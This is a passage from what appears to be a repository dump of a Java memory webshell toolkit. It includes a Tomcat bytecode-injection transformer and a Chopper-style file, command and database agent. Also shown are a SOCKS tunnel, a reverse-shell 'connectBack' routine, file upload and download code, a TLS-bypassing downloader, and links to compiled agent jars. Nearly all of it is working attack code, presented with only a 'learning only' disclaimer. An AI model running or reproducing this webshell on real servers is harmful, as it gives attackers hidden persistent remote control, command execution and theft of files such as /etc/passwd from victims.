-1) { 109 | MyServletOutputStream.write(os,b, 0, n); 110 | } 111 | MyServletOutputStream.write(os,("|" + "<-").getBytes(), 0, 3); 112 | //os.close(); 113 | MyServletOutputStream.close(os); 114 | is.close(); 115 | } 116 | 117 | void GG(String s, String d) throws Exception { 118 | String h = "0123456789ABCDEF"; 119 | File f = new File(s); 120 | f.createNewFile(); 121 | FileOutputStream os = new FileOutputStream(f); 122 | for (int i = 0; i < d.length(); i += 2) { 123 | os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1)))); 124 | } 125 | os.close(); 126 | } 127 | 128 | void HH(String s, String d) throws Exception { 129 | File sf = new File(s), df = new File(d); 130 | if (sf.isDirectory()) { 131 | if (!df.exists()) { 132 | df.mkdir(); 133 | } 134 | File z[] = sf.listFiles(); 135 | for (int j = 0; j < z.length; j++) { 136 | HH(s + "/" + z[j].getName(), d + "/" + z[j].getName()); 137 | } 138 | } else { 139 | FileInputStream is = new FileInputStream(sf); 140 | FileOutputStream os = new FileOutputStream(df); 141 | int n; 142 | byte[] b = new byte[512]; 143 | while ((n = is.read(b, 0, 512)) != -1) { 144 | os.write(b, 0, n); 145 | } 146 | is.close(); 147 | os.close(); 148 | } 149 | } 150 | 151 | void II(String s, String d) throws Exception { 152 | File sf = new File(s), df = new File(d); 153 | sf.renameTo(df); 154 | } 155 | 156 | void JJ(String s) throws Exception { 157 | File f = new File(s); 158 | f.mkdir(); 159 | } 160 | 161 | void KK(String s, String t) throws Exception { 162 | File f = new File(s); 163 | SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 164 | java.util.Date dt = fm.parse(t); 165 | f.setLastModified(dt.getTime()); 166 | } 167 | 168 | void LL(String s, String d) throws Exception { 169 | URL u = new URL(s); 170 | int n = 0; 171 | FileOutputStream os = new FileOutputStream(d); 172 | HttpURLConnection h = (HttpURLConnection) u.openConnection(); 173 | InputStream is = h.getInputStream(); 174 | byte[] b = new byte[512]; 175 | while ((n = is.read(b)) != -1) { 176 | os.write(b, 0, n); 177 | } 178 | os.close(); 179 | is.close(); 180 | h.disconnect(); 181 | } 182 | 183 | void MM(InputStream is, StringBuffer sb) throws Exception { 184 | String l; 185 | BufferedReader br = new BufferedReader(new InputStreamReader(is)); 186 | while ((l = br.readLine()) != null) { 187 | sb.append(l + "\r\n"); 188 | } 189 | } 190 | 191 | void NN(String s, StringBuffer sb) throws Exception { 192 | Connection c = GC(s); 193 | ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs(); 194 | while (r.next()) { 195 | sb.append(r.getString(1) + "\t"); 196 | } 197 | r.close(); 198 | c.close(); 199 | } 200 | 201 | void OO(String s, StringBuffer sb) throws Exception { 202 | Connection c = GC(s); 203 | String[] x = s.trim().split("\r\n"); 204 | ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"}); 205 | while (r.next()) { 206 | sb.append(r.getString("TABLE_NAME") + "\t"); 207 | } 208 | r.close(); 209 | c.close(); 210 | } 211 | 212 | void PP(String s, StringBuffer sb) throws Exception { 213 | String[] x = s.trim().split("\r\n"); 214 | Connection c = GC(s); 215 | Statement m = c.createStatement(1005, 1007); 216 | ResultSet r = m.executeQuery("select * from " + x[x.length-1]); 217 | ResultSetMetaData d = r.getMetaData(); 218 | for (int i = 1; i <= d.getColumnCount(); i++) { 219 | sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t"); 220 | } 221 | r.close(); 222 | m.close(); 223 | c.close(); 224 | } 225 | 226 | void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception { 227 | Connection c = GC(s); 228 | Statement m = c.createStatement(1005, 1008); 229 | BufferedWriter bw = null; 230 | try { 231 | ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q); 232 | ResultSetMetaData d = r.getMetaData(); 233 | int n = d.getColumnCount(); 234 | for (int i = 1; i <= n; i++) { 235 | sb.append(d.getColumnName(i) + "\t|\t"); 236 | } 237 | sb.append("\r\n"); 238 | if(q.indexOf("--f:")!=-1){ 239 | File file = new File(p); 240 | if(q.indexOf("-to:")==-1){ 241 | file.mkdir(); 242 | } 243 | bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs)); 244 | } 245 | while (r.next()) { 246 | for (int i = 1; i <= n; i++) { 247 | if(q.indexOf("--f:")!=-1){ 248 | bw.write(r.getObject(i)+""+"\t"); 249 | bw.flush(); 250 | }else{ 251 | sb.append(r.getObject(i)+"" + "\t|\t"); 252 | } 253 | } 254 | if(bw!=null){bw.newLine();} 255 | sb.append("\r\n"); 256 | } 257 | r.close(); 258 | if(bw!=null){bw.close();} 259 | } catch (Exception e) { 260 | sb.append("Result\t|\t\r\n"); 261 | try { 262 | m.executeUpdate(q); 263 | sb.append("Execute Successfully!\t|\t\r\n"); 264 | } catch (Exception ee) { 265 | sb.append(ee.toString() + "\t|\t\r\n"); 266 | } 267 | } 268 | m.close(); 269 | c.close(); 270 | } 271 | 272 | public void doGet(ServletRequest request, ServletResponse response) 273 | throws Exception { 274 | doPost(request, response); 275 | } 276 | 277 | public void doPost(ServletRequest request, ServletResponse response)throws Exception { 278 | //cs = request.getParameter("z0") != null ? request.getParameter("z0")+ "":cs; 279 | cs = MyRequest.getParameter(request, "z0") != null ? MyRequest.getParameter(request, "z0") + "":cs; 280 | //response.setContentType("text/html"); 281 | //response.setCharacterEncoding(cs); 282 | MyResponse.setContentType(response, "text/html"); 283 | MyResponse.setCharacterEncoding(response,cs); 284 | PrintWriter out = MyResponse.getWriter(response); 285 | StringBuffer sb = new StringBuffer(""); 286 | try { 287 | String Z = EC(MyRequest.getParameter(request, Pwd) + ""); 288 | String z1 = EC(MyRequest.getParameter(request, "z1") + ""); 289 | String z2 = EC(MyRequest.getParameter(request, "z2") + ""); 290 | sb.append("->" + "|"); 291 | Object obj=MyRequest.getServletContext(request); 292 | String s =MyServletContext.getRealPath(obj,"/"); 293 | if (Z.equals("A")) { 294 | sb.append(s + "\t"); 295 | if (!s.substring(0, 1).equals("/")) { 296 | AA(sb); 297 | } 298 | } else if (Z.equals("B")) { 299 | BB(z1, sb); 300 | } else if (Z.equals("C")) { 301 | String l = ""; 302 | BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1)))); 303 | while ((l = br.readLine()) != null) { 304 | sb.append(l + "\r\n"); 305 | } 306 | br.close(); 307 | } else if (Z.equals("D")) { 308 | BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1)))); 309 | bw.write(z2); 310 | bw.close(); 311 | sb.append("1"); 312 | } else if (Z.equals("E")) { 313 | EE(z1); 314 | sb.append("1"); 315 | } else if (Z.equals("F")) { 316 | FF(z1, response); 317 | } else if (Z.equals("G")) { 318 | GG(z1, z2); 319 | sb.append("1"); 320 | } else if (Z.equals("H")) { 321 | HH(z1, z2); 322 | sb.append("1"); 323 | } else if (Z.equals("I")) { 324 | II(z1, z2); 325 | sb.append("1"); 326 | } else if (Z.equals("J")) { 327 | JJ(z1); 328 | sb.append("1"); 329 | } else if (Z.equals("K")) { 330 | KK(z1, z2); 331 | sb.append("1"); 332 | } else if (Z.equals("L")) { 333 | LL(z1, z2); 334 | sb.append("1"); 335 | } else if (Z.equals("M")) { 336 | String[] c = { z1.substring(2), z1.substring(0, 2), z2 }; 337 | Process p = Runtime.getRuntime().exec(c); 338 | MM(p.getInputStream(), sb); 339 | MM(p.getErrorStream(), sb); 340 | } else if (Z.equals("N")) { 341 | NN(z1, sb); 342 | } else if (Z.equals("O")) { 343 | OO(z1, sb); 344 | } else if (Z.equals("P")) { 345 | PP(z1, sb); 346 | } else if (Z.equals("Q")) { 347 | QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/"); 348 | } 349 | } catch (Exception e) { 350 | sb.append("ERROR" + ":// " + e.toString()); 351 | } 352 | sb.append("|" + "<-"); 353 | out.print(sb.toString()); 354 | } 355 | 356 | } -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/src/net/rebeyond/memshell/Proxy.java: -------------------------------------------------------------------------------- 1 | package net.rebeyond.memshell; 2 | import java.io.IOException; 3 | import java.net.InetSocketAddress; 4 | import java.net.UnknownHostException; 5 | import java.nio.ByteBuffer; 6 | import java.nio.channels.SocketChannel; 7 | 8 | import net.rebeyond.memshell.redefine.MyRequest; 9 | import net.rebeyond.memshell.redefine.MyResponse; 10 | import net.rebeyond.memshell.redefine.MyServletInputStream; 11 | import net.rebeyond.memshell.redefine.MyServletOutputStream; 12 | import net.rebeyond.memshell.redefine.MySession; 13 | 14 | public class Proxy { 15 | public void doProxy(Object request, Object response) throws Exception { 16 | Object httpSession = MyRequest.getSession(request); 17 | String cmd = MyRequest.getHeader(request, "X-CMD"); 18 | if (cmd != null) { 19 | MyResponse.setHeader(response, "X-STATUS", "OK"); 20 | if (cmd.compareTo("CONNECT") == 0) { 21 | try { 22 | String target = MyRequest.getHeader(request, "X-TARGET"); 23 | int port = Integer.parseInt(MyRequest.getHeader(request, "X-PORT")); 24 | SocketChannel socketChannel = SocketChannel.open(); 25 | socketChannel.connect(new InetSocketAddress(target, port)); 26 | socketChannel.configureBlocking(false); 27 | MySession.setAttribute(httpSession, "socket", socketChannel); 28 | MyResponse.setHeader(response, "X-STATUS", "OK"); 29 | } catch (UnknownHostException e) { 30 | System.out.println(e.getMessage()); 31 | MyResponse.setHeader(response, "X-ERROR", e.getMessage()); 32 | MyResponse.setHeader(response, "X-STATUS", "FAIL"); 33 | } catch (IOException e) { 34 | System.out.println(e.getMessage()); 35 | MyResponse.setHeader(response, "X-ERROR", e.getMessage()); 36 | MyResponse.setHeader(response, "X-STATUS", "FAIL"); 37 | 38 | } 39 | } else if (cmd.compareTo("DISCONNECT") == 0) { 40 | SocketChannel socketChannel = (SocketChannel) MySession.getAttribute(httpSession, "socket"); 41 | try { 42 | socketChannel.socket().close(); 43 | } catch (Exception ex) { 44 | System.out.println(ex.getMessage()); 45 | } 46 | MySession.invalidate(httpSession); 47 | } else if (cmd.compareTo("READ") == 0) { 48 | SocketChannel socketChannel = (SocketChannel) MySession.getAttribute(httpSession, "socket"); 49 | try { 50 | ByteBuffer buf = ByteBuffer.allocate(512); 51 | int bytesRead = socketChannel.read(buf); 52 | // ServletOutputStream so = response.getOutputStream(); 53 | Object so = MyResponse.getOutputStream(response); 54 | while (bytesRead > 0) { 55 | // so.write(buf.array(),0,bytesRead); 56 | // so.flush(); 57 | MyServletOutputStream.write(so, buf.array(), 0, bytesRead); 58 | MyServletOutputStream.flush(so); 59 | buf.clear(); 60 | bytesRead = socketChannel.read(buf); 61 | } 62 | // response.setHeader("X-STATUS", "OK"); 63 | MyResponse.setHeader(response, "X-STATUS", "OK"); 64 | // so.flush(); 65 | // so.close(); 66 | MyServletOutputStream.flush(so); 67 | MyServletOutputStream.close(so); 68 | 69 | } catch (Exception e) { 70 | System.out.println(e.getMessage()); 71 | MyResponse.setHeader(response, "X-ERROR", e.getMessage()); 72 | MyResponse.setHeader(response, "X-STATUS", "FAIL"); 73 | // socketChannel.socket().close(); 74 | } 75 | 76 | } else if (cmd.compareTo("FORWARD") == 0) { 77 | SocketChannel socketChannel = (SocketChannel) MySession.getAttribute(httpSession, "socket"); 78 | try { 79 | 80 | int readlen = MyRequest.getContentLength(request); 81 | byte[] buff = new byte[readlen]; 82 | // request.getInputStream().read(buff, 0, readlen); 83 | Object ins = MyRequest.getInputStream(request); 84 | MyServletInputStream.read(ins, buff, 0, readlen); 85 | ByteBuffer buf = ByteBuffer.allocate(readlen); 86 | buf.clear(); 87 | buf.put(buff); 88 | buf.flip(); 89 | 90 | while (buf.hasRemaining()) { 91 | socketChannel.write(buf); 92 | } 93 | MyResponse.setHeader(response, "X-STATUS", "OK"); 94 | // response.getOutputStream().close(); 95 | 96 | } catch (Exception e) { 97 | System.out.println(e.getMessage()); 98 | MyResponse.setHeader(response, "X-ERROR", e.getMessage()); 99 | MyResponse.setHeader(response, "X-STATUS", "FAIL"); 100 | socketChannel.socket().close(); 101 | } 102 | } 103 | } else { 104 | // PrintWriter o = response.getWriter(); 105 | // out.print("Georg says, 'All seems fine'"); 106 | MyResponse.getWriter(response).print("Georg says, 'All seems fine'"); 107 | } 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/src/net/rebeyond/memshell/Shell.java: -------------------------------------------------------------------------------- 1 | package net.rebeyond.memshell; 2 | import java.io.BufferedReader; 3 | import java.io.BufferedWriter; 4 | import java.io.DataInputStream; 5 | import java.io.DataOutputStream; 6 | import java.io.File; 7 | import java.io.FileInputStream; 8 | import java.io.FileNotFoundException; 9 | import java.io.FileOutputStream; 10 | import java.io.FileReader; 11 | import java.io.IOException; 12 | import java.io.InputStream; 13 | import java.io.InputStreamReader; 14 | import java.io.OutputStream; 15 | import java.io.OutputStreamWriter; 16 | import java.io.PrintWriter; 17 | import java.lang.reflect.Method; 18 | import java.net.HttpURLConnection; 19 | import java.net.Socket; 20 | import java.net.URL; 21 | import java.net.URLConnection; 22 | import java.security.cert.CertificateException; 23 | import java.util.Base64; 24 | 25 | import javax.net.ssl.HostnameVerifier; 26 | import javax.net.ssl.HttpsURLConnection; 27 | import javax.net.ssl.SSLContext; 28 | import javax.net.ssl.SSLSession; 29 | import javax.net.ssl.TrustManager; 30 | import javax.net.ssl.X509TrustManager; 31 | import javax.security.cert.X509Certificate; 32 | import javax.servlet.ServletContext; 33 | import javax.servlet.ServletException; 34 | import javax.servlet.ServletOutputStream; 35 | import javax.servlet.ServletRequest; 36 | import javax.servlet.ServletResponse; 37 | import javax.servlet.http.HttpSession; 38 | 39 | public class Shell { 40 | 41 | public static String execute(String cmd) throws Exception { 42 | String result = ""; 43 | if (cmd != null && cmd.length() > 0) { 44 | 45 | Process p = Runtime.getRuntime().exec(cmd); 46 | OutputStream os = p.getOutputStream(); 47 | InputStream in = p.getInputStream(); 48 | DataInputStream dis = new DataInputStream(in); 49 | String disr = dis.readLine(); 50 | while (disr != null) { 51 | result = result + disr + "\n"; 52 | disr = dis.readLine(); 53 | } 54 | } 55 | return result; 56 | } 57 | 58 | public static String connectBack(String ip, String port) throws Exception { 59 | class StreamConnector extends Thread { 60 | InputStream sp; 61 | OutputStream gh; 62 | 63 | StreamConnector(InputStream sp, OutputStream gh) { 64 | this.sp = sp; 65 | this.gh = gh; 66 | } 67 | 68 | public void run() { 69 | BufferedReader xp = null; 70 | BufferedWriter ydg = null; 71 | try { 72 | xp = new BufferedReader(new InputStreamReader(this.sp)); 73 | ydg = new BufferedWriter(new OutputStreamWriter(this.gh)); 74 | char buffer[] = new char[8192]; 75 | int length; 76 | while ((length = xp.read(buffer, 0, buffer.length)) > 0) { 77 | ydg.write(buffer, 0, length); 78 | ydg.flush(); 79 | } 80 | } catch (Exception e) { 81 | } 82 | try { 83 | if (xp != null) 84 | xp.close(); 85 | if (ydg != null) 86 | ydg.close(); 87 | } catch (Exception e) { 88 | } 89 | } 90 | } 91 | try { 92 | String ShellPath; 93 | if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { 94 | ShellPath = new String("/bin/sh"); 95 | } else { 96 | ShellPath = new String("cmd.exe"); 97 | } 98 | 99 | Socket socket = new Socket(ip, Integer.parseInt(port)); 100 | Process process = Runtime.getRuntime().exec(ShellPath); 101 | (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); 102 | (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); 103 | return "Successful!"; 104 | } catch (Exception e) { 105 | return e.getMessage(); 106 | } 107 | } 108 | 109 | public static String help() { 110 | return "Webshell in Memory:\n\n" + "Usage:\n" + "anyurl?pwd=pass //show this help page.\n" 111 | + "anyurl?pwd=pass&model=exec&cmd=whoami //run os command.\n" 112 | + "anyurl?pwd=pass&model=connectback&ip=8.8.8.8&port=51 //reverse a shell back to 8.8.8.8 on port 51.\n" 113 | + "anyurl?pwd=pass&model=urldownload&url=http://xxx.com/test.pdf&path=/tmp/test.pdf //download a remote file via the victim's network directly.\n" 114 | + "anyurl?pwd=pass&model=list[del|show]&path=/etc/passwd //list,delete,show the specified path or file.\n" 115 | + "anyurl?pwd=pass&model=download&path=/etc/passwd //download the specified file on the victim's disk.\n" 116 | + "anyurl?pwd=pass&model=upload&path=/tmp/a.elf&content=this_is_content[&type=b] //upload a text file or a base64 encoded binary file to the victim's disk.\n" 117 | + "anyurl?pwd=pass&model=proxy //start a socks proxy server on the victim.\n" 118 | + "anyurl?pwd=pass&model=chopper //start a chopper server agent on the victim.\n\n" 119 | + "For learning exchanges only, do not use for illegal purposes.by rebeyond.\n"; 120 | } 121 | 122 | public static String list(String path) { 123 | String result = ""; 124 | File f = new File(path); 125 | if (f.isDirectory()) { 126 | for (File temp : f.listFiles()) { 127 | if (temp.isFile()) { 128 | result = result + (temp.isDirectory()?"r":"-") + " " + temp.getName() + " " + temp.length() + "\n"; 129 | } 130 | else { 131 | result = result + (temp.isDirectory()?"r":"-")+ " " + temp.getName() + " " + temp.length() + "\n"; 132 | } 133 | } 134 | } else { 135 | result = result + f.isDirectory() + " " + f.getName() + " " + f.length() + "\n"; 136 | } 137 | return result; 138 | } 139 | public static String delete(String path) { 140 | String result = ""; 141 | File f = new File(path); 142 | if (f.isDirectory()) { 143 | result = deleteDir(f)?"delete directory "+path+" successfully.":"delete "+path+" failed(maybe only some files are not deleted)."; 144 | } else { 145 | result = f.delete()?"delete "+path+" successfully.":"delete "+path+" failed."; 146 | } 147 | return result; 148 | } 149 | public static String showFile(String path) throws Exception { 150 | StringBuffer result= new StringBuffer(); 151 | File f = new File(path); 152 | if (f.exists()&&f.isFile()) { 153 | FileReader reader = new FileReader(f); 154 | BufferedReader br = new BufferedReader(reader); 155 | String str = null; 156 | while((str = br.readLine()) != null) { 157 | result.append(str+"\n"); 158 | } 159 | br.close(); 160 | reader.close(); 161 | } 162 | return result.toString(); 163 | } 164 | private static boolean deleteDir(File dir){ 165 | boolean result=true; 166 | if(dir.isDirectory()){ 167 | File[] files = dir.listFiles(); 168 | for(int i=0; i 0) 193 | response.getOutputStream().write(b, 0, len); 194 | inStream.close(); 195 | } catch (IOException e) { 196 | e.printStackTrace(); 197 | } 198 | 199 | }*/ 200 | 201 | } 202 | public static String upload(String path,String fileContent,String type) throws Exception 203 | { 204 | FileOutputStream fos=new FileOutputStream(path); 205 | if (type.equalsIgnoreCase("a")) 206 | { 207 | fos.write(fileContent.getBytes()); 208 | fos.flush(); 209 | } 210 | else if(type.equalsIgnoreCase("b")) 211 | { 212 | fos.write(Base64.getDecoder().decode(fileContent)); 213 | } 214 | fos.close(); 215 | return "file " + path + " is upload successfully,and size is " + new File(path).length() + " Byte."; 216 | } 217 | 218 | public static String urldownload(String url, String path) throws Exception { 219 | SSLContext sslcontext = SSLContext.getInstance("SSL", "SunJSSE"); 220 | sslcontext.init(null, new TrustManager[] { new X509TrustManager() { 221 | 222 | @Override 223 | public void checkClientTrusted(java.security.cert.X509Certificate[] arg0, String arg1) 224 | throws CertificateException { 225 | // TODO Auto-generated method stub 226 | 227 | } 228 | 229 | @Override 230 | public void checkServerTrusted(java.security.cert.X509Certificate[] arg0, String arg1) 231 | throws CertificateException { 232 | // TODO Auto-generated method stub 233 | 234 | } 235 | 236 | @Override 237 | public java.security.cert.X509Certificate[] getAcceptedIssuers() { 238 | // TODO Auto-generated method stub 239 | return null; 240 | } 241 | 242 | } }, new java.security.SecureRandom()); 243 | // URL url = new URL(url); 244 | HostnameVerifier ignoreHostnameVerifier = new HostnameVerifier() { 245 | public boolean verify(String s, SSLSession sslsession) { 246 | return true; 247 | } 248 | }; 249 | HttpURLConnection urlCon; 250 | URL downloadUrl=new URL(url); 251 | HttpsURLConnection.setDefaultHostnameVerifier(ignoreHostnameVerifier); 252 | HttpsURLConnection.setDefaultSSLSocketFactory(sslcontext.getSocketFactory()); 253 | urlCon = (HttpsURLConnection) downloadUrl.openConnection(); 254 | urlCon.setConnectTimeout(6000); 255 | urlCon.setReadTimeout(6000); 256 | int code = urlCon.getResponseCode(); 257 | if (code != HttpURLConnection.HTTP_OK) { 258 | throw new Exception("文件读取失败"); 259 | } 260 | // 读文件流 261 | DataInputStream in = new DataInputStream(urlCon.getInputStream()); 262 | DataOutputStream out = new DataOutputStream(new FileOutputStream(path)); 263 | byte[] buffer = new byte[2048]; 264 | int count = 0; 265 | while ((count = in.read(buffer)) > 0) { 266 | out.write(buffer, 0, count); 267 | out.flush(); 268 | } 269 | out.close(); 270 | in.close(); 271 | return "file " + path + " downloaded successfully,and size is " + new File(path).length() + " Byte."; 272 | } 273 | 274 | public static void main(String[] args) { 275 | try { 276 | // System.out.println(Shell.execute("net user").replace("\n", "aaaaaaaaaaa")); 277 | } catch (Exception e) { 278 | // TODO Auto-generated catch block 279 | e.printStackTrace(); 280 | } 281 | } 282 | 283 | public static void eval(ServletRequest request, ServletResponse response) throws Exception { 284 | /* 285 | * Class c=Class.forName("javax/servlet/ServletRequest"); 286 | * System.out.println("classs is :"+c); Evaluate eval=new Evaluate(); 287 | * eval.doGet(request, response); 288 | */ 289 | } 290 | } 291 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/src/net/rebeyond/memshell/Transformer.java: -------------------------------------------------------------------------------- 1 | package net.rebeyond.memshell; 2 | import java.io.BufferedReader; 3 | import java.io.File; 4 | import java.io.FileReader; 5 | import java.io.InputStream; 6 | import java.io.InputStreamReader; 7 | import java.lang.instrument.ClassFileTransformer; 8 | import java.lang.instrument.IllegalClassFormatException; 9 | import java.security.ProtectionDomain; 10 | 11 | import javassist.ClassClassPath; 12 | import javassist.ClassPool; 13 | import javassist.CtClass; 14 | import javassist.CtMethod; 15 | 16 | public class Transformer implements ClassFileTransformer{ 17 | @Override 18 | public byte[] transform(ClassLoader classLoader, String s, Class aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException { 19 | 20 | 21 | if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)) { 22 | try { 23 | ClassPool cp = ClassPool.getDefault(); 24 | ClassClassPath classPath = new ClassClassPath(aClass); //get current class's classpath 25 | cp.insertClassPath(classPath); //add the classpath to classpool 26 | CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain"); 27 | CtMethod m = cc.getDeclaredMethod("internalDoFilter"); 28 | m.addLocalVariable("elapsedTime", CtClass.longType); 29 | m.insertBefore(readSource()); 30 | byte[] byteCode = cc.toBytecode(); 31 | cc.detach(); 32 | return byteCode; 33 | } catch (Exception ex) { 34 | ex.printStackTrace(); 35 | System.out.println("error:::::"+ex.getMessage()); 36 | } 37 | } 38 | 39 | return null; 40 | } 41 | public String readSource() { 42 | StringBuilder source=new StringBuilder(); 43 | InputStream is = Transformer.class.getClassLoader().getResourceAsStream("source.txt"); 44 | InputStreamReader isr = new InputStreamReader(is); 45 | String line=null; 46 | try { 47 | BufferedReader br = new BufferedReader(isr); 48 | while((line=br.readLine()) != null) { 49 | source.append(line); 50 | } 51 | } catch (Exception e) { 52 | e.printStackTrace(); 53 | } 54 | return source.toString(); 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/src/source.txt: -------------------------------------------------------------------------------- 1 | javax.servlet.http.HttpServletRequest request=$1; 2 | javax.servlet.http.HttpServletResponse response = $2; 3 | String pass_the_world=request.getParameter("pass_the_world"); 4 | String model=request.getParameter("model"); 5 | String result=""; 6 | 7 | try { 8 | if (pass_the_world!=null&&pass_the_world.equals(net.rebeyond.memshell.Agent.password)) 9 | { 10 | if (model==null||model.equals("")) 11 | { 12 | result=net.rebeyond.memshell.Shell.help(); 13 | } 14 | else if (model.equalsIgnoreCase("exec")) 15 | { 16 | String cmd=request.getParameter("cmd"); 17 | result=net.rebeyond.memshell.Shell.execute(cmd); 18 | } 19 | else if (model.equalsIgnoreCase("connectback")) 20 | { 21 | String ip=request.getParameter("ip"); 22 | String port=request.getParameter("port"); 23 | result=net.rebeyond.memshell.Shell.connectBack(ip, port); 24 | } 25 | else if (model.equalsIgnoreCase("urldownload")) 26 | { 27 | String url=request.getParameter("url"); 28 | String path=request.getParameter("path"); 29 | result=net.rebeyond.memshell.Shell.urldownload(url, path); 30 | } 31 | else if (model.equalsIgnoreCase("list")) 32 | { 33 | String path=request.getParameter("path"); 34 | result=net.rebeyond.memshell.Shell.list(path); 35 | } 36 | else if (model.equalsIgnoreCase("del")) 37 | { 38 | String path=request.getParameter("path"); 39 | result=net.rebeyond.memshell.Shell.delete(path); 40 | } 41 | else if (model.equalsIgnoreCase("show")) 42 | { 43 | String path=request.getParameter("path"); 44 | result=net.rebeyond.memshell.Shell.showFile(path); 45 | } 46 | else if (model.equalsIgnoreCase("download")) 47 | { 48 | String path=request.getParameter("path"); 49 | java.io.File f = new java.io.File(path); 50 | if (f.isFile()) { 51 | String fileName = f.getName(); 52 | java.io.InputStream inStream = new java.io.FileInputStream(path); 53 | response.reset(); 54 | response.setContentType("bin"); 55 | response.addHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\""); 56 | byte[] b = new byte[100]; 57 | int len; 58 | while ((len = inStream.read(b)) > 0) 59 | response.getOutputStream().write(b, 0, len); 60 | inStream.close(); 61 | return; 62 | 63 | } 64 | } 65 | else if (model.equalsIgnoreCase("upload")) 66 | { 67 | String path=request.getParameter("path"); 68 | String fileContent=request.getParameter("content"); 69 | String type=request.getParameter("type"); 70 | if (type==null||!type.equalsIgnoreCase("b")) 71 | type="a"; 72 | result=net.rebeyond.memshell.Shell.upload(path, fileContent,type); 73 | } 74 | else if (model.equalsIgnoreCase("proxy")) 75 | { 76 | new net.rebeyond.memshell.Proxy().doProxy(request, response); 77 | return; 78 | } 79 | else if (model.equalsIgnoreCase("chopper")) 80 | { 81 | new net.rebeyond.memshell.Evaluate().doPost(request, response); 82 | return; 83 | } 84 | response.getWriter().print(result); 85 | return; 86 | } 87 | 88 | } 89 | catch(Exception e) 90 | { 91 | response.getWriter().print(e.getMessage()); 92 | } 93 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/release/agent.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jweny/MemShellDemo/3ed66da4eb6d24f406b9e1641a4ee12ac617f590/MemShellForJava/字节码增强型/retransform字节码/release/agent.jar -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/release/inject.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jweny/MemShellDemo/3ed66da4eb6d24f406b9e1641a4ee12ac617f590/MemShellForJava/字节码增强型/retransform字节码/release/inject.jar -------------------------------------------------------------------------------- /MemShellForJava/漏洞环境/README.md: -------------------------------------------------------------------------------- 1 | 一个文件上传的漏洞环境。 -------------------------------------------------------------------------------- /MemShellForJava/漏洞环境/upload-demo.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jweny/MemShellDemo/3ed66da4eb6d24f406b9e1641a4ee12ac617f590/MemShellForJava/漏洞环境/upload-demo.war -------------------------------------------------------------------------------- /MemShellForJava/漏洞环境/upload-demo/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /MemShellForJava/漏洞环境/upload-demo/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /MemShellForJava/漏洞环境/upload-demo/.idea/upload.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /MemShellForJava/漏洞环境/upload-demo/.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 17 | 18 | 19 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 112 | 113 | 114 |